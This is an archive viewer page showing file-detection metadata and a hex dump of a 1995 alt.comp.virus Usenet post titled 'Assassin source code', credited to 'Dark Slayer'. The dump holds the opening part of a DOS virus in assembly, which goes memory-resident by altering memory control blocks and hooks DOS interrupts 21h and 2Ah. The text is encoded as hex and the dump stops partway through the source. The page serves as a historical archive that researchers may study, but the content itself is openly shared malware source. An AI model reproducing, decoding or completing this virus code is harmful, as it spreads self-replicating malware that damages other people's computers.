home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / assassin.asm < prev    next >
Mailbox/MIME Entity  |  2003-06-11  |  12.4 KB

open in: MacOS 8.1     |     Win98     |     DOS

view JSON data     |     view as text

This file was processed as: Mailbox/MIME Entity (archive/mbox).

You can browse this item here: assassin.asm

ConfidenceProgramDetectionMatch TypeSupport
100% dexvert Mailbox/MIME Entity (archive/mbox) magic Supported
100% dexvert Internet Message Format (text/imf) magic Supported
100% dexvert Assembly Source File (text/asm) magic Supported
1% dexvert freeCAD assembly (other/freeCADAssembly) ext Unsupported
1% dexvert Text File (text/txt) fallback Supported
100% file Mailbox text, 1st line "From netcom.com!ix.netcom.com!howland.reston.ans.net!cs.utexas.edu!utnut!torn!uunet.ca!uunet.ca!io.org!grin.io.org!scottjp Sat ", ASCII text, with CRLF, LF line terminators default
100% TrID E-Mail message (Var. 2) default
100% checkBytes Printable ASCII default
100% perlTextCheck Likely Text (Perl) default
100% siegfried x-fmt/111 Plain Text File default
100% detectItEasy Format: plain text[LF] default (weak)
100% xdgMime application/mbox default



hex view
+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!|
|00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 68 6f |ix.netco|m.com!ho|
|00000020| 77 6c 61 6e 64 2e 72 65 | 73 74 6f 6e 2e 61 6e 73 |wland.re|ston.ans|
|00000030| 2e 6e 65 74 21 63 73 2e | 75 74 65 78 61 73 2e 65 |.net!cs.|utexas.e|
|00000040| 64 75 21 75 74 6e 75 74 | 21 74 6f 72 6e 21 75 75 |du!utnut|!torn!uu|
|00000050| 6e 65 74 2e 63 61 21 75 | 75 6e 65 74 2e 63 61 21 |net.ca!u|unet.ca!|
|00000060| 69 6f 2e 6f 72 67 21 67 | 72 69 6e 2e 69 6f 2e 6f |io.org!g|rin.io.o|
|00000070| 72 67 21 73 63 6f 74 74 | 6a 70 20 53 61 74 20 4a |rg!scott|jp Sat J|
|00000080| 61 6e 20 31 34 20 31 32 | 3a 31 30 3a 30 38 20 31 |an 14 12|:10:08 1|
|00000090| 39 39 35 0a 58 72 65 66 | 3a 20 6e 65 74 63 6f 6d |995.Xref|: netcom|
|000000a0| 2e 63 6f 6d 20 61 6c 74 | 2e 63 6f 6d 70 2e 76 69 |.com alt|.comp.vi|
|000000b0| 72 75 73 3a 39 36 31 0a | 50 61 74 68 3a 20 6e 65 |rus:961.|Path: ne|
|000000c0| 74 63 6f 6d 2e 63 6f 6d | 21 69 78 2e 6e 65 74 63 |tcom.com|!ix.netc|
|000000d0| 6f 6d 2e 63 6f 6d 21 68 | 6f 77 6c 61 6e 64 2e 72 |om.com!h|owland.r|
|000000e0| 65 73 74 6f 6e 2e 61 6e | 73 2e 6e 65 74 21 63 73 |eston.an|s.net!cs|
|000000f0| 2e 75 74 65 78 61 73 2e | 65 64 75 21 75 74 6e 75 |.utexas.|edu!utnu|
|00000100| 74 21 74 6f 72 6e 21 75 | 75 6e 65 74 2e 63 61 21 |t!torn!u|unet.ca!|
|00000110| 75 75 6e 65 74 2e 63 61 | 21 69 6f 2e 6f 72 67 21 |uunet.ca|!io.org!|
|00000120| 67 72 69 6e 2e 69 6f 2e | 6f 72 67 21 73 63 6f 74 |grin.io.|org!scot|
|00000130| 74 6a 70 0a 46 72 6f 6d | 3a 20 73 63 6f 74 74 6a |tjp.From|: scottj|
|00000140| 70 40 67 72 69 6e 2e 69 | 6f 2e 6f 72 67 20 28 68 |p@grin.i|o.org (h|
|00000150| 30 6d 33 72 20 73 33 78 | 75 34 6c 29 0a 4e 65 77 |0m3r s3x|u4l).New|
|00000160| 73 67 72 6f 75 70 73 3a | 20 61 6c 74 2e 63 6f 6d |sgroups:| alt.com|
|00000170| 70 2e 76 69 72 75 73 0a | 53 75 62 6a 65 63 74 3a |p.virus.|Subject:|
|00000180| 20 41 73 73 61 73 73 69 | 6e 20 73 6f 75 72 63 65 | Assassi|n source|
|00000190| 20 63 6f 64 65 0a 44 61 | 74 65 3a 20 39 20 4a 61 | code.Da|te: 9 Ja|
|000001a0| 6e 20 31 39 39 35 20 32 | 31 3a 31 30 3a 30 36 20 |n 1995 2|1:10:06 |
|000001b0| 47 4d 54 0a 4f 72 67 61 | 6e 69 7a 61 74 69 6f 6e |GMT.Orga|nization|
|000001c0| 3a 20 49 6e 74 65 72 6e | 65 78 20 4f 6e 6c 69 6e |: Intern|ex Onlin|
|000001d0| 65 2c 20 54 6f 72 6f 6e | 74 6f 2c 20 4f 6e 74 61 |e, Toron|to, Onta|
|000001e0| 72 69 6f 2c 20 43 61 6e | 61 64 61 20 28 34 31 36 |rio, Can|ada (416|
|000001f0| 20 33 36 33 20 33 37 38 | 33 29 0a 4c 69 6e 65 73 | 363 378|3).Lines|
|00000200| 3a 20 35 33 39 0a 4d 65 | 73 73 61 67 65 2d 49 44 |: 539.Me|ssage-ID|
|00000210| 3a 20 3c 33 65 73 38 6e | 65 24 63 39 69 40 69 6f |: <3es8n|e$c9i@io|
|00000220| 6e 65 77 73 2e 69 6f 2e | 6f 72 67 3e 0a 4e 4e 54 |news.io.|org>.NNT|
|00000230| 50 2d 50 6f 73 74 69 6e | 67 2d 48 6f 73 74 3a 20 |P-Postin|g-Host: |
|00000240| 67 72 69 6e 2e 69 6f 2e | 6f 72 67 0a 58 2d 4e 65 |grin.io.|org.X-Ne|
|00000250| 77 73 72 65 61 64 65 72 | 3a 20 54 49 4e 20 5b 76 |wsreader|: TIN [v|
|00000260| 65 72 73 69 6f 6e 20 31 | 2e 32 20 50 4c 32 5d 0a |ersion 1|.2 PL2].|
|00000270| 0a 0d 0a 3b 20 41 73 73 | 61 73 73 69 6e 20 28 42 |...; Ass|assin (B|
|00000280| 75 67 20 46 69 78 20 76 | 65 72 73 69 6f 6e 29 0d |ug Fix v|ersion).|
|00000290| 0a 3b 20 20 20 20 20 20 | 20 62 79 20 44 61 72 6b |.; | by Dark|
|000002a0| 20 53 6c 61 79 65 72 0d | 0a 0d 0a 6d 65 6d 5f 73 | Slayer.|...mem_s|
|000002b0| 69 7a 65 20 65 71 75 20 | 20 20 20 6f 66 66 73 65 |ize equ | offse|
|000002c0| 74 20 6d 65 6d 6f 72 79 | 5f 65 6e 64 2d 6f 66 66 |t memory|_end-off|
|000002d0| 73 65 74 20 73 74 61 72 | 74 0d 0a 6d 65 6d 5f 70 |set star|t..mem_p|
|000002e0| 61 72 61 20 65 71 75 20 | 20 20 20 28 6d 65 6d 5f |ara equ | (mem_|
|000002f0| 73 69 7a 65 2b 30 66 68 | 29 2f 31 30 68 0d 0a 6c |size+0fh|)/10h..l|
|00000300| 6f 77 5f 6d 65 6d 5f 73 | 69 7a 65 20 65 71 75 20 |ow_mem_s|ize equ |
|00000310| 6d 65 6d 5f 73 69 7a 65 | 2b 31 30 30 68 0d 0a 6c |mem_size|+100h..l|
|00000320| 6f 77 5f 6d 65 6d 5f 70 | 61 72 61 20 65 71 75 20 |ow_mem_p|ara equ |
|00000330| 28 6c 6f 77 5f 6d 65 6d | 5f 73 69 7a 65 2b 30 66 |(low_mem|_size+0f|
|00000340| 68 29 2f 31 30 68 0d 0a | 76 69 72 5f 73 69 7a 65 |h)/10h..|vir_size|
|00000350| 20 65 71 75 20 20 20 20 | 6f 66 66 73 65 74 20 76 | equ |offset v|
|00000360| 69 72 5f 65 6e 64 2d 6f | 66 66 73 65 74 20 73 74 |ir_end-o|ffset st|
|00000370| 61 72 74 0d 0a 76 69 72 | 5f 73 65 63 74 6f 72 20 |art..vir|_sector |
|00000380| 65 71 75 20 20 28 76 69 | 72 5f 73 69 7a 65 2b 31 |equ (vi|r_size+1|
|00000390| 66 66 68 2b 32 29 2f 32 | 30 30 68 0d 0a 63 6f 6e |ffh+2)/2|00h..con|
|000003a0| 73 74 61 6e 74 5f 73 69 | 7a 65 20 65 71 75 20 6f |stant_si|ze equ o|
|000003b0| 66 66 73 65 74 20 63 6f | 6e 73 74 61 6e 74 2d 6f |ffset co|nstant-o|
|000003c0| 66 66 73 65 74 20 73 74 | 61 72 74 0d 0a 0d 0a 20 |ffset st|art.... |
|000003d0| 20 20 20 20 20 20 20 2e | 6d 6f 64 65 6c 20 20 74 | .|model t|
|000003e0| 69 6e 79 0d 0a 20 20 20 | 20 20 20 20 20 2e 63 6f |iny.. | .co|
|000003f0| 64 65 0d 0a 20 20 20 20 | 20 20 20 20 6f 72 67 20 |de.. | org |
|00000400| 20 20 20 20 30 0d 0a 73 | 74 61 72 74 3a 0d 0a 20 | 0..s|tart:.. |
|00000410| 20 20 20 20 20 20 20 78 | 6f 72 20 20 20 20 20 64 | x|or d|
|00000420| 69 2c 64 69 0d 0a 20 20 | 20 20 20 20 20 20 6d 6f |i,di.. | mo|
|00000430| 76 20 20 20 20 20 64 78 | 2c 64 73 3a 5b 64 69 2b |v dx|,ds:[di+|
|00000440| 32 5d 0d 0a 20 20 20 20 | 20 20 20 20 73 75 62 20 |2].. | sub |
|00000450| 20 20 20 20 64 68 2c 35 | 0d 0a 0d 0a 20 20 20 20 | dh,5|.... |
|00000460| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 68 2c 32 | mov | ah,2|
|00000470| 36 68 0d 0a 20 20 20 20 | 20 20 20 20 69 6e 74 20 |6h.. | int |
|00000480| 20 20 20 20 32 31 68 0d | 0a 0d 0a 20 20 20 20 20 | 21h.|... |
|00000490| 20 20 20 6d 6f 76 20 20 | 20 20 20 62 70 2c 64 73 | mov | bp,ds|
|000004a0| 3a 5b 64 69 2b 32 63 68 | 5d 0d 0a 0d 0a 20 20 20 |:[di+2ch|].... |
|000004b0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 68 2c | mov| ah,|
|000004c0| 34 61 68 0d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |4ah.. | mov|
|000004d0| 20 20 20 20 20 62 78 2c | 6c 6f 77 5f 6d 65 6d 5f | bx,|low_mem_|
|000004e0| 70 61 72 61 0d 0a 20 20 | 20 20 20 20 20 20 69 6e |para.. | in|
|000004f0| 74 20 20 20 20 20 32 31 | 68 0d 0a 0d 0a 20 20 20 |t 21|h.... |
|00000500| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 68 2c | mov| ah,|
|00000510| 35 32 68 0d 0a 20 20 20 | 20 20 20 20 20 69 6e 74 |52h.. | int|
|00000520| 20 20 20 20 20 32 31 68 | 0d 0a 20 20 20 20 20 20 | 21h|.. |
|00000530| 20 20 6d 6f 76 20 20 20 | 20 20 62 78 2c 65 73 3a | mov | bx,es:|
|00000540| 5b 62 78 2d 32 5d 0d 0a | 20 20 20 20 20 20 20 20 |[bx-2]..| |
|00000550| 6d 6f 76 20 20 20 20 20 | 61 78 2c 63 73 0d 0a 20 |mov |ax,cs.. |
|00000560| 20 20 20 20 20 20 20 64 | 65 63 20 20 20 20 20 61 | d|ec a|
|00000570| 78 0d 0a 6d 63 62 3a 0d | 0a 20 20 20 20 20 20 20 |x..mcb:.|. |
|00000580| 20 6d 6f 76 20 20 20 20 | 20 63 78 2c 64 73 0d 0a | mov | cx,ds..|
|00000590| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|000005a0| 64 73 2c 62 78 0d 0a 20 | 20 20 20 20 20 20 20 69 |ds,bx.. | i|
|000005b0| 6e 63 20 20 20 20 20 62 | 78 0d 0a 20 20 20 20 20 |nc b|x.. |
|000005c0| 20 20 20 6d 6f 76 20 20 | 20 20 20 64 78 2c 62 78 | mov | dx,bx|
|000005d0| 0d 0a 20 20 20 20 20 20 | 20 20 61 64 64 20 20 20 |.. | add |
|000005e0| 20 20 62 78 2c 64 73 3a | 5b 64 69 2b 33 5d 0d 0a | bx,ds:|[di+3]..|
|000005f0| 20 20 20 20 20 20 20 20 | 6f 72 20 20 20 20 20 20 | |or |
|00000600| 62 70 2c 62 70 0d 0a 20 | 20 20 20 20 20 20 20 6a |bp,bp.. | j|
|00000610| 6e 7a 20 20 20 20 20 6e | 6f 74 5f 62 6f 6f 74 0d |nz n|ot_boot.|
|00000620| 0a 20 20 20 20 20 20 20 | 20 63 6d 70 20 20 20 20 |. | cmp |
|00000630| 20 61 78 2c 62 78 0d 0a | 20 20 20 20 20 20 20 20 | ax,bx..| |
|00000640| 6a 6e 65 20 20 20 20 20 | 6e 6f 74 5f 6f 75 72 5f |jne |not_our_|
|00000650| 6d 63 62 0d 0a 20 20 20 | 20 20 20 20 20 61 64 64 |mcb.. | add|
|00000660| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 64 73 | wor|d ptr ds|
|00000670| 3a 5b 64 69 2b 33 5d 2c | 6c 6f 77 5f 6d 65 6d 5f |:[di+3],|low_mem_|
|00000680| 70 61 72 61 2b 31 0d 0a | 6e 6f 74 5f 6f 75 72 5f |para+1..|not_our_|
|00000690| 6d 63 62 3a 0d 0a 20 20 | 20 20 20 20 20 20 63 6d |mcb:.. | cm|
|000006a0| 70 20 20 20 20 20 61 78 | 2c 63 78 0d 0a 20 20 20 |p ax|,cx.. |
|000006b0| 20 20 20 20 20 6a 6e 65 | 20 20 20 20 20 6e 6f 74 | jne| not|
|000006c0| 5f 62 6f 6f 74 0d 0a 20 | 20 20 20 20 20 20 20 6d |_boot.. | m|
|000006d0| 6f 76 20 20 20 20 20 64 | 73 3a 5b 64 69 2b 31 5d |ov d|s:[di+1]|
|000006e0| 2c 64 78 0d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |,dx.. | mov|
|000006f0| 20 20 20 20 20 64 69 2c | 38 0d 0a 20 20 20 20 20 | di,|8.. |
|00000700| 20 20 20 70 75 73 68 20 | 20 20 20 64 73 0d 0a 20 | push | ds.. |
|00000710| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 65 | p|op e|
|00000720| 73 0d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |s.. | mov |
|00000730| 20 20 20 73 69 2c 64 69 | 0d 0a 20 20 20 20 20 20 | si,di|.. |
|00000740| 20 20 6d 6f 76 20 20 20 | 20 20 64 73 2c 61 78 0d | mov | ds,ax.|
|00000750| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|00000760| 20 63 78 2c 64 69 0d 0a | 20 20 20 20 20 20 20 20 | cx,di..| |
|00000770| 72 65 70 20 20 20 20 20 | 6d 6f 76 73 62 0d 0a 20 |rep |movsb.. |
|00000780| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 64 | p|ush d|
|00000790| 78 0d 0a 20 20 20 20 20 | 20 20 20 61 64 64 20 20 |x.. | add |
|000007a0| 20 20 20 61 78 2c 31 30 | 68 2b 31 0d 0a 20 20 20 | ax,10|h+1.. |
|000007b0| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 61 78 0d | pus|h ax.|
|000007c0| 0a 20 20 20 20 20 20 20 | 20 6a 6d 70 20 20 20 20 |. | jmp |
|000007d0| 20 73 68 6f 72 74 20 73 | 65 61 72 63 68 0d 0a 6e | short s|earch..n|
|000007e0| 6f 74 5f 62 6f 6f 74 3a | 0d 0a 20 20 20 20 20 20 |ot_boot:|.. |
|000007f0| 20 20 63 6d 70 20 20 20 | 20 20 62 79 74 65 20 70 | cmp | byte p|
|00000800| 74 72 20 64 73 3a 5b 64 | 69 5d 2c 34 64 68 0d 0a |tr ds:[d|i],4dh..|
|00000810| 20 20 20 20 20 20 20 20 | 6a 65 20 20 20 20 20 20 | |je |
|00000820| 6d 63 62 0d 0a 20 20 20 | 20 20 20 20 20 63 6d 70 |mcb.. | cmp|
|00000830| 20 20 20 20 20 62 79 74 | 65 20 70 74 72 20 64 73 | byt|e ptr ds|
|00000840| 3a 5b 64 69 5d 2c 35 61 | 68 0d 0a 20 20 20 20 20 |:[di],5a|h.. |
|00000850| 20 20 20 6a 65 20 20 20 | 20 20 20 6d 63 62 0d 0a | je | mcb..|
|00000860| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00000870| 73 70 2c 6c 6f 77 5f 6d | 65 6d 5f 73 69 7a 65 0d |sp,low_m|em_size.|
|00000880| 0a 20 20 20 20 20 20 20 | 20 73 75 62 20 20 20 20 |. | sub |
|00000890| 20 64 78 2c 6d 65 6d 5f | 70 61 72 61 2b 31 0d 0a | dx,mem_|para+1..|
|000008a0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|000008b0| 65 73 2c 64 78 0d 0a 20 | 20 20 20 20 20 20 20 73 |es,dx.. | s|
|000008c0| 75 62 20 20 20 20 20 64 | 78 2c 63 78 0d 0a 20 20 |ub d|x,cx.. |
|000008d0| 20 20 20 20 20 20 64 65 | 63 20 20 20 20 20 64 78 | de|c dx|
|000008e0| 0d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |.. | mov |
|000008f0| 20 20 64 73 2c 63 78 0d | 0a 20 20 20 20 20 20 20 | ds,cx.|. |
|00000900| 20 6d 6f 76 20 20 20 20 | 20 64 73 3a 5b 64 69 2b | mov | ds:[di+|
|00000910| 33 5d 2c 64 78 0d 0a 20 | 20 20 20 20 20 20 20 6d |3],dx.. | m|
|00000920| 6f 76 20 20 20 20 20 73 | 69 2c 31 30 30 68 0d 0a |ov s|i,100h..|
|00000930| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00000940| 63 78 2c 76 69 72 5f 73 | 69 7a 65 0d 0a 20 20 20 |cx,vir_s|ize.. |
|00000950| 20 20 20 20 20 72 65 70 | 20 20 20 20 20 6d 6f 76 | rep| mov|
|00000960| 73 20 62 79 74 65 20 70 | 74 72 20 65 73 3a 5b 64 |s byte p|tr es:[d|
|00000970| 69 5d 2c 63 73 3a 5b 73 | 69 5d 0d 0a 0d 0a 20 20 |i],cs:[s|i].... |
|00000980| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 65 73 | pu|sh es|
|00000990| 0d 0a 73 65 61 72 63 68 | 3a 0d 0a 20 20 20 20 20 |..search|:.. |
|000009a0| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 78 2c 33 35 | mov | ax,35|
|000009b0| 32 61 68 0d 0a 20 20 20 | 20 20 20 20 20 69 6e 74 |2ah.. | int|
|000009c0| 20 20 20 20 20 32 31 68 | 0d 0a 20 20 20 20 20 20 | 21h|.. |
|000009d0| 20 20 70 6f 70 20 20 20 | 20 20 64 73 0d 0a 20 20 | pop | ds.. |
|000009e0| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 64 73 | pu|sh ds|
|000009f0| 0d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |.. | mov |
|00000a00| 20 20 64 69 2c 6f 66 66 | 73 65 74 20 69 32 31 5f | di,off|set i21_|
|00000a10| 74 61 62 6c 65 0d 0a 20 | 20 20 20 20 20 20 20 6d |table.. | m|
|00000a20| 6f 76 20 20 20 20 20 64 | 73 3a 6f 6c 64 32 61 5b |ov d|s:old2a[|
|00000a30| 64 69 5d 2d 69 32 31 5f | 74 61 62 6c 65 2c 62 78 |di]-i21_|table,bx|
|00000a40| 0d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |.. | mov |
|00000a50| 20 20 64 73 3a 6f 6c 64 | 32 61 5b 64 69 2b 32 5d | ds:old|2a[di+2]|
|00000a60| 2d 69 32 31 5f 74 61 62 | 6c 65 2c 65 73 0d 0a 20 |-i21_tab|le,es.. |
|00000a70| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 | m|ov a|
|00000a80| 68 2c 32 35 68 0d 0a 20 | 20 20 20 20 20 20 20 6d |h,25h.. | m|
|00000a90| 6f 76 20 20 20 20 20 64 | 78 2c 6f 66 66 73 65 74 |ov d|x,offset|
|00000aa0| 20 69 6e 74 32 61 0d 0a | 20 20 20 20 20 20 20 20 | int2a..| |
|00000ab0| 69 6e 74 20 20 20 20 20 | 32 31 68 0d 0a 20 20 20 |int |21h.. |
|00000ac0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 64 78 2c | mov| dx,|
|00000ad0| 62 78 0d 0a 20 20 20 20 | 20 20 20 20 70 75 73 68 |bx.. | push|
|00000ae0| 20 20 20 20 65 73 0d 0a | 20 20 20 20 20 20 20 20 | es..| |
|00000af0| 70 6f 70 20 20 20 20 20 | 64 73 0d 0a 20 20 20 20 |pop |ds.. |
|00000b00| 20 20 20 20 69 6e 74 20 | 20 20 20 20 32 31 68 0d | int | 21h.|
|00000b10| 0a 20 20 20 20 20 20 20 | 20 70 6f 70 20 20 20 20 |. | pop |
|00000b20| 20 65 73 0d 0a 20 20 20 | 20 20 20 20 20 6c 64 73 | es.. | lds|
|00000b30| 20 20 20 20 20 73 69 2c | 65 73 3a 5b 64 69 5d 0d | si,|es:[di].|
|00000b40| 0a 73 65 61 72 63 68 5f | 74 61 62 6c 65 3a 0d 0a |.search_|table:..|
|00000b50| 20 20 20 20 20 20 20 20 | 6c 6f 64 73 77 0d 0a 73 | |lodsw..s|
|00000b60| 65 61 72 63 68 5f 74 61 | 62 6c 65 5f 3a 0d 0a 20 |earch_ta|ble_:.. |
|00000b70| 20 20 20 20 20 20 20 64 | 65 63 20 20 20 20 20 73 | d|ec s|
|00000b80| 69 0d 0a 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 |i.. | cmp |
|00000b90| 20 20 20 61 78 2c 38 62 | 32 65 68 0d 0a 20 20 20 | ax,8b|2eh.. |
|00000ba0| 20 20 20 20 20 6a 6e 65 | 20 20 20 20 20 73 65 61 | jne| sea|
|00000bb0| 72 63 68 5f 74 61 62 6c | 65 0d 0a 20 20 20 20 20 |rch_tabl|e.. |
|00000bc0| 20 20 20 6c 6f 64 73 77 | 0d 0a 20 20 20 20 20 20 | lodsw|.. |
|00000bd0| 20 20 63 6d 70 20 20 20 | 20 20 61 68 2c 39 66 68 | cmp | ah,9fh|
|00000be0| 0d 0a 20 20 20 20 20 20 | 20 20 6a 6e 65 20 20 20 |.. | jne |
|00000bf0| 20 20 73 65 61 72 63 68 | 5f 74 61 62 6c 65 5f 0d | search|_table_.|
|00000c00| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 73 77 0d 0a |. | movsw..|
|00000c10| 20 20 20 20 20 20 20 20 | 73 63 61 73 77 0d 0a 20 | |scasw.. |
|00000c20| 20 20 20 20 20 20 20 6c | 65 61 20 20 20 20 20 61 | l|ea a|
|00000c30| 78 2c 5b 73 69 2d 31 65 | 30 68 5d 0d 0a 20 20 20 |x,[si-1e|0h].. |
|00000c40| 20 20 20 20 20 73 74 6f | 73 77 0d 0a 20 20 20 20 | sto|sw.. |
|00000c50| 20 20 20 20 78 63 68 67 | 20 20 20 20 73 69 2c 61 | xchg| si,a|
|00000c60| 78 0d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |x.. | mov |
|00000c70| 20 20 20 77 6f 72 64 20 | 70 74 72 20 64 73 3a 5b | word |ptr ds:[|
|00000c80| 73 69 5d 2c 30 65 61 63 | 62 68 0d 0a 20 20 20 20 |si],0eac|bh.. |
|00000c90| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 77 6f 72 64 | mov | word|
|00000ca0| 20 70 74 72 20 64 73 3a | 5b 73 69 2b 32 5d 2c 6f | ptr ds:|[si+2],o|
|00000cb0| 66 66 73 65 74 20 69 32 | 31 5f 33 65 0d 0a 20 20 |ffset i2|1_3e.. |
|00000cc0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 73 | mo|v ds|
|00000cd0| 3a 5b 73 69 2b 34 5d 2c | 65 73 0d 0a 20 20 20 20 |:[si+4],|es.. |
|00000ce0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 62 79 74 65 | mov | byte|
|00000cf0| 20 70 74 72 20 64 73 3a | 5b 73 69 2b 36 5d 2c 30 | ptr ds:|[si+6],0|
|00000d00| 65 61 68 0d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |eah.. | mov|
|00000d10| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 64 73 | wor|d ptr ds|
|00000d20| 3a 5b 73 69 2b 37 5d 2c | 6f 66 66 73 65 74 20 69 |:[si+7],|offset i|
|00000d30| 32 31 5f 33 66 0d 0a 20 | 20 20 20 20 20 20 20 6d |21_3f.. | m|
|00000d40| 6f 76 20 20 20 20 20 64 | 73 3a 5b 73 69 2b 39 5d |ov d|s:[si+9]|
|00000d50| 2c 65 73 0d 0a 20 20 20 | 20 20 20 20 20 63 61 6c |,es.. | cal|
|00000d60| 6c 20 20 20 20 73 65 74 | 32 31 0d 0a 0d 0a 20 20 |l set|21.... |
|00000d70| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 63 78 | mo|v cx|
|00000d80| 2c 62 70 0d 0a 20 20 20 | 20 20 20 20 20 6a 63 78 |,bp.. | jcx|
|00000d90| 7a 20 20 20 20 62 6f 6f | 74 0d 0a 20 20 20 20 20 |z boo|t.. |
|00000da0| 20 20 20 6d 6f 76 20 20 | 20 20 20 64 73 2c 62 70 | mov | ds,bp|
|00000db0| 0d 0a 20 20 20 20 20 20 | 20 20 78 6f 72 20 20 20 |.. | xor |
|00000dc0| 20 20 73 69 2c 73 69 0d | 0a 6c 32 3a 0d 0a 20 20 | si,si.|.l2:.. |
|00000dd0| 20 20 20 20 20 20 6c 6f | 64 73 77 0d 0a 20 20 20 | lo|dsw.. |
|00000de0| 20 20 20 20 20 64 65 63 | 20 20 20 20 20 73 69 0d | dec| si.|
|00000df0| 0a 20 20 20 20 20 20 20 | 20 6f 72 20 20 20 20 20 |. | or |
|00000e00| 20 61 78 2c 61 78 0d 0a | 20 20 20 20 20 20 20 20 | ax,ax..| |
|00000e10| 6a 6e 7a 20 20 20 20 20 | 6c 32 0d 0a 20 20 20 20 |jnz |l2.. |
|00000e20| 20 20 20 20 6c 65 61 20 | 20 20 20 20 64 78 2c 5b | lea | dx,[|
|00000e30| 73 69 2b 33 5d 0d 0a 20 | 20 20 20 20 20 20 20 6d |si+3].. | m|
|00000e40| 6f 76 20 20 20 20 20 64 | 69 2c 6f 66 66 73 65 74 |ov d|i,offset|
|00000e50| 20 70 63 62 2b 34 2b 31 | 30 30 68 0d 0a 20 20 20 | pcb+4+1|00h.. |
|00000e60| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 63 73 0d | pus|h cs.|
|00000e70| 0a 20 20 20 20 20 20 20 | 20 70 6f 70 20 20 20 20 |. | pop |
|00000e80| 20 65 73 0d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 | es.. | mov|
|00000e90| 20 20 20 20 20 61 78 2c | 63 73 0d 0a 20 20 20 20 | ax,|cs.. |
|00000ea0| 20 20 20 20 73 74 6f 73 | 77 0d 0a 20 20 20 20 20 | stos|w.. |
|00000eb0| 20 20 20 73 63 61 73 77 | 0d 0a 20 20 20 20 20 20 | scasw|.. |
|00000ec0| 20 20 73 74 6f 73 77 0d | 0a 20 20 20 20 20 20 20 | stosw.|. |
|00000ed0| 20 73 63 61 73 77 0d 0a | 20 20 20 20 20 20 20 20 | scasw..| |
|00000ee0| 73 74 6f 73 77 0d 0a 20 | 20 20 20 20 20 20 20 6d |stosw.. | m|
|00000ef0| 6f 76 20 20 20 20 20 61 | 78 2c 34 62 30 30 68 0d |ov a|x,4b00h.|
|00000f00| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|00000f10| 20 62 78 2c 6f 66 66 73 | 65 74 20 70 63 62 2b 31 | bx,offs|et pcb+1|
|00000f20| 30 30 68 0d 0a 20 20 20 | 20 20 20 20 20 69 6e 74 |00h.. | int|
|00000f30| 20 20 20 20 20 32 31 68 | 0d 0a 20 20 20 20 20 20 | 21h|.. |
|00000f40| 20 20 6d 6f 76 20 20 20 | 20 20 61 68 2c 34 64 68 | mov | ah,4dh|
|00000f50| 0d 0a 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 |.. | int |
|00000f60| 20 20 32 31 68 0d 0a 20 | 20 20 20 20 20 20 20 6d | 21h.. | m|
|00000f70| 6f 76 20 20 20 20 20 61 | 68 2c 34 63 68 0d 0a 20 |ov a|h,4ch.. |
|00000f80| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 | i|nt 2|
|00000f90| 31 68 0d 0a 0d 0a 62 6f | 6f 74 3a 0d 0a 20 20 20 |1h....bo|ot:.. |
|00000fa0| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 64 78 0d | pop| dx.|
|00000fb0| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|00000fc0| 20 61 68 2c 32 36 68 0d | 0a 20 20 20 20 20 20 20 | ah,26h.|. |
|00000fd0| 20 69 6e 74 20 20 20 20 | 20 32 31 68 0d 0a 20 20 | int | 21h.. |
|00000fe0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 62 6c | mo|v bl|
|00000ff0| 2c 33 0d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |,3.. | mov |
|00001000| 20 20 20 20 73 73 3a 5b | 62 70 2b 31 38 68 2b 35 | ss:[|bp+18h+5|
|00001010| 5d 2c 62 6c 0d 0a 20 20 | 20 20 20 20 20 20 6d 6f |],bl.. | mo|
|00001020| 76 20 20 20 20 20 61 78 | 2c 31 32 31 36 68 0d 0a |v ax|,1216h..|
|00001030| 20 20 20 20 20 20 20 20 | 69 6e 74 20 20 20 20 20 | |int |
